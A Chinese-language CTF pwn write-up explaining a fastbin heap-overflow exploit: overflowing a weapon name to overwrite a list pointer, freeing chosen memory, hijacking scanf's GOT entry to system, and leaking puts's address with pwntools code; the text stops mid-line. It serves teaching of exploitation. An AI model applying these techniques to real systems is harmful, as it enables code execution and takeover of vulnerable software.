CTF PWN Fastbin堆溢出入门

目标程序及EXP下载

解题思路

1. 添加新武器时会在偏移52个字节的地方存下上一个武器的内存地址如下：

*((_DWORD *)dword_804A288 + 13) = v1;
//13个DWORD就是13*4=52字节

2. 输入武器名时存在溢出，因此可以覆盖这个地址，指向另一片内存；
3. 提交订单时会通过单向链表的方式free各个武器的内存区域，由于第1步中可以修改武器链表的上一个武器内存地址，因此可以释放一个我们指定的内存到fastbin中；
4. 我们指定的内存肯定得是我们可以控制的内存，例如程序中的message指针；
5. 重新添加武器会malloc得到message指针所在的内存，因此可以修改message指针指向的位置，例如改成scanf的got表位置；
6. 通过message留言可以修改scanf的got表指向的地址为system的地址；
7. 然后输入“/bin/sh”给scanf就相当于system("/bin/sh")从而得到shell

具体步骤

1. 得到system的地址
   程序中没有system函数，因此要通过泄漏puts等函数的实际地址计算system函数的地址；
   程序中的show rifle函数会通过单向链表级联打印所有rifle的信息，由于链表受我们控制，我们可以让链表指向puts的got表，从而打印出puts的地址：

name = 'a'*(52-25) + p32(elf.got['puts']) #从第52个字节开始是上一个rifle的内存地址，这里改成我们要打印的地址

add(name,'b'*23)
show_added()

r.recvuntil("===================================\n")
r.recvuntil("===================================\n")
r.recvuntil("Description: ")

puts_addr = u32(r.recv(4).ljust(4,b'\x00')) #Description后面紧跟的就是puts got表中的内容，即puts的实际地址
log.success("puts_addr:"+hex(puts_addr))

libc_base = puts_addr-libc.symbols['puts']
system_addr